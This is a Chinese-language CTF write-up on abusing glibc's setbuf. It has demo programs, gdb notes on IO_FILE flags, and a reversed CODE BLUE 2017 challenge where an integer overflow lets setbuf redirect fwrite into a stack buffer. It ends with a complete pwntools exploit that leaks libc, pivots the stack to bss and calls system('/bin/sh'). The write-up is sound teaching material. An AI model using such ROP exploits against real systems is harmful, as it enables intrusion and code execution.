setbuf 的利用

前言

在学习IO_FILE的时候,学到关于IO_FILE结构体的时候死活都不理解为什么在pwn题要设置缓冲区才能够有显示,不设置的话就没有显示,学到了setbuf的时候了解到了setbuf的利用,于是写这篇笔记,算是对自己的学习加深理解,文章很多参考其他师傅的,后面会给出参考链接

setbuf

关于IO__FILE的结构体介绍和几个std(stdin,stdout,stderr)这里就不介绍了。有兴趣的师傅可以参考我的另一篇笔记

C 库函数 void setbuf(FILE *stream, char *buffer) 定义流 stream 的缓冲区在哪。除非 buffer 是 NULL 。

也就是说buffer这个数组会被设置为stream的缓冲区,当你调用 setbuf 函数并将其 BUFF 参数设置为 NULL(通常用数字 0 表示)时,你正在告诉标准I/O库停用缓冲机制。

deme案例

为了方便理解setbuf函数的用法,这里写两个demo案例

demo (setbuf buff)

代码如下

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(void)
{
char buf[10];
memset(buf, 0, 10);
buf[0] = '1';
setbuf(stdin, buf);
}

编译后用gdb进行调试分析,在setbuf函数运行前,查看stdin的IO_FILE结构体

![image-20231226172243196](picutre/CTF PWN 题之 setbuf 的利用/image-20231226172243196.png)

可以看到所有关于缓冲区的设置全部为0x0,并且初始的缓冲方式是0x2088(0010 0000 1000 1000),可以发现缓冲比特位的行缓冲和无缓冲都是0,于是我们可以知道缓冲方式为全缓冲

在调用setbuf后,查看对应结构体

![image-20231226172411991](picutre/CTF PWN 题之 setbuf 的利用/image-20231226172411991.png)

可以看到关于buf的值都变成了我们的buf数组的地址。

简单对比分析一下:

可以看到变化的不只有那个缓冲区的值,还有flags的值也从0xfbad2088变成了0xfbad2089,根据glibc的预编译值,我们可以知道这里主要是告诉系统,在关闭这个流后不要释放缓冲区

并且缓冲方式是0x2089(0010 0000 1000 1001),可以发现缓冲比特位的行缓冲和无缓冲都是0,于是我们可以知道缓冲方式也为全缓冲,于是我们知道,这个方式对改变缓冲方式没有用

1
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */

再利用下面这个demo去理解一下缓冲区设置为buff后有什么作用

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>

int main(void)
{
char buf[10];
memset(buf, 0, 10);
buf[0] = '1';
printf(buf);
setbuf(stdout, buf);
printf("test");
write(1, "\n====\n",6);
write(1, buf, 10);
}

然后运行一下

1
2
3
4
$ ./demo
1
====
test

可以从结果看出,printf根本没有输出test,而是把这个字符串输出到buf缓冲区中了,从而修改了buf中的内容。

但是这里为什么write函数不会受到缓冲区设置的影响,而printf会受到缓冲区的影响我,原文给的是

因为设置的是stdout的缓冲区,而stdout是stdio库中的文件流,所以write并没有受到影响

但是我觉得应该是write函数是直接调用的syscall去直接对设备进行输出和IO_FILE结构体无关

![image-20231226185254383](picutre/CTF PWN 题之 setbuf 的利用/image-20231226185254383.png)

并且通过查看printf的函数调用栈可以知道,其实最后printf在经过虚表的跳转后还是通过wirte去输出的,这里write函数就是绕过了这个缓冲区直接输出的,printf的调用栈回溯如下:

1
2
3
4
5
6
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

还有一个问题,setbuf并没有设置长度的参数,设置长度的需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096。

于是我们就大概理解了setbuf(stream,buff)的用法大概就是将本应该直接输出到设备的字符先放到缓冲区去,这里把缓冲区设置为buffer,就会存放到buffer里面去,而且由于缓冲区的设置为全缓冲(所有的读写都会在文件中进行而不是在内存中进行,直到缓存区被占满或是调用fflush函数刷新缓存。),所以就会等缓冲区满了才会输出。

demo(setbuf NULL)

代码如下

1
2
3
4
5
6
#include<stdio.h>

int main(void)
{
setbuf(stdin, 0);
}

编译后用gdb进行调试分析,在setbuf函数运行前,查看stdin的IO_FILE结构体

![image-20231226172913846](picutre/CTF PWN 题之 setbuf 的利用/image-20231226172913846.png)

初始的基本没变化,可以看到所有关于缓冲区的设置全部为0x0,并且初始的缓冲方式是0x2088(0010 0000 1000 1000),可以发现缓冲比特位的行缓冲和无缓冲都是0,于是我们可以知道缓冲方式为全缓冲

在调用setbuf后,查看对应结构体

![image-20231226173257253](picutre/CTF PWN 题之 setbuf 的利用/image-20231226173257253.png)

我们可以看到对应的缓冲区的设置全部变成了libc上的_IO_2_1_stdin_一定偏移的值,并且flag的值变为了0xfbad208b,可以知道缓冲方式为0x208b(0010 0000 1000 1011),为无缓冲,定义如下

1
#define _IO_UNBUFFERED        0x0002

于是我们现在也能理解setbuf(stream,NULL)是如何将缓冲设置为无缓冲的了

总结

对于setbuf我们一般用来设置缓冲区为无缓冲,用于pwn题的输出,每个pwn题都需要这样的设置,所以很多人就会忽略setbuf的漏洞,后面用了国际赛的题来学习

题目链接:

https://github.com/Hcamael/CTF_repo/tree/main/CODE%20BLUE%20CTF%202017/Pwn

setbuf利用

题目保护

![image-20231226180024755](picutre/CTF PWN 题之 setbuf 的利用/image-20231226180024755.png)

题目逆向

题目逆向代码如下

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
return ture_main();
}

int ture_main()
{
int chioce; // eax
FILE *null_ptr; // [esp+Ch] [ebp-53Ch]
int v3; // [esp+10h] [ebp-538h]
book addr[5]; // [esp+18h] [ebp-530h] BYREF

v3 = 0;
memset(addr, 0, sizeof(addr));
null_ptr = fopen("/dev/null", "a");
if ( !null_ptr )
puts_error();
hello();
sleep(2u);
while ( !v3 )
{
mulu();
chioce = get_int();
if ( chioce == 2 )
{
del(addr);
}
else if ( chioce > 2 )
{
if ( chioce == 3 )
{
post(addr, null_ptr);
}
else if ( chioce == 4 )
{
v3 = 1;
}
}
else if ( chioce == 1 )
{
add(addr);
}
}
puts("Thank you for using our service :)");
fclose(null_ptr);
return 0;
}

main函数分析可以知道该函数主要实现了添加一个消息和删除消息和传送消息

关键漏洞函数POST就是传送消息的函数

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl post(book *a1, FILE *null)
{
int chioce; // [esp+8h] [ebp-10h]
int v4; // [esp+Ch] [ebp-Ch]

puts("\nWhich letter do you want to post?");
printf("ID (0-%d): ", 4);
v4 = get_int();
if ( v4 < 0 || v4 > 4 || !a1[v4].yes_or_not )
return puts("Invalid ID.");
puts("\nWhich filter do you want to apply?");
chioce_1();
chioce = get_int();
if ( chioce > 2 )
return puts("Invalid filter.");
function_chioce[chioce](null, a1[v4].letter, a1[v4].len);
return puts("\nDone!");
}

这里的chioce变量是int类型,于是我们可以用整数溢出去执行其他函数

题目分析

这里我们可以分析出可以利用这个整数溢出去执行其他函数,但也只是能执行其他函数,不能控制参数,并且只能通过指针去执行,不能任意代码执行,就是说我们只能执行got表里面的函数,由于参数是固定的,我们先分析参数是什么

  • 参数一 :/dev/null的文件流,总是返回0
  • 参数二 : book[offset].letter 指向栈上的一段区域
  • 参数三 :book[offset].len 一个长度的值

这里涉及到了一个文件的结构体,逆向出来的结构体如下:

1
2
3
4
5
6
struct book
{
int yes_or_not;
int len;
char letter[256];
};

![image-20231226181857628](picutre/CTF PWN 题之 setbuf 的利用/image-20231226181857628.png)

在这些函数里面第一个为一个为文件stream的函数,除了fclose函数以外只有setbuf函数了,但是fclose只有关闭这个流的作用,所以只有setbuf函数了

![image-20231226182302736](picutre/CTF PWN 题之 setbuf 的利用/image-20231226182302736.png)

![image-20231226182330348](picutre/CTF PWN 题之 setbuf 的利用/image-20231226182330348.png)

想到setbuf的setbuf(stream,buff)的用法,于是我们可以通过调用setbuf函数去将原本输入向设备(/dev/null)的流的字符转而输入向我们设置的buff里面去

结合post函数里面的no_1函数可以实现,代码如下

1
2
3
4
5
6
7
8
9
size_t __cdecl no_1(FILE *null, void *letter, size_t len)
{
size_t v4; // [esp+Ch] [ebp-Ch]

v4 = fwrite(letter, 1u, len, null);
if ( v4 != len )
puts_error();
return v4;
}

可以发现这里将letter里面的数据全部给输入到null里面去,也就是说给销毁了,但是要是我们先将其设置一下缓冲区,我们就可以将数据输出到缓冲区里面去,并且fwrite是有指针的存在的,也就是说,我们可以在输入一次之后,再在上一次输入结果后面再接着输入,理论上可以无限输入任意字符串到buffer里面去,于是就有了栈溢出漏洞

漏洞利用

虽然上面我们可以更加这个方法构造出栈溢出漏洞,但是对于输入的数据只能在add函数中输入,并且我们只能将其他块的数据给到其他数据块,于是我们最开始便需要构造好数据ROP链。

所以我们首先通过printf得出libc的地址,然后通过往bss段写入数据,最后栈迁移一下就可以将栈给迁移到bss段,最后getshell即可。EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

def add(p, data):
p.readuntil("> ")
p.sendline("1")
p.readuntil("contents: ")
p.sendline(data)

def post(p, n, offset):
p.readuntil("> ")
p.sendline("3")
p.readuntil("ID (0-4): ")
p.sendline(str(n))
p.readuntil("> ")
p.sendline(str(offset))

def quit(p):
p.readuntil("> ")
p.sendline("4")

def db(p):
gdb.attach(p,'''
b *0x8048CFF
c
''')
def main():
p = process("./pwn")
libc = ELF("./libc.so.6")
e = ELF("./pwn")
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
pop_ebx_ret = 0x08048495 # pop ebx ; ret
pop_edi_ebp_ret = 0x08048daa # pop edi ; pop ebp ; ret
pop_ebp_ret = 0x08048dab # pop ebp ; ret
leave_ret = 0x080485f8 # leave ; ret
my_read = 0x80486D9
bss_addr = 0x804B069+0x500
payload = "A"*9+"beef"
payload += p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)
payload += p32(my_read)+p32(pop_edi_ebp_ret)+p32(bss_addr)+p32(0x100)
payload +=p32(pop_ebp_ret)+p32(bss_addr)+p32(leave_ret)
add(p,payload)
add(p,"2"*255)
add(p,"3"*255)
add(p,"4"*255)
add(p,"5"*255)
#db(p)
post(p,4,-15)
post(p,1,0)
post(p,0,0)
quit(p)
p.recvuntil(":)\n")
libc_base = u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))-libc.symbols["puts"]
print("libc_base ----------------> 0x%x"%libc_base)
one_gadget = libc_base + 0x3a838
system_addr = libc_base+libc.symbols["system"]
binsh_add = libc_base +libc.search("/bin/sh").next()
payload2 = "A"*4+p32(system_addr)+p32(binsh_add)*2
p.sendline(payload2)
p.interactive()

if __name__ == '__main__':
main()

参考链接

https://paper.seebug.org/450/

https://blog.csdn.net/qq_41071646/article/details/98941046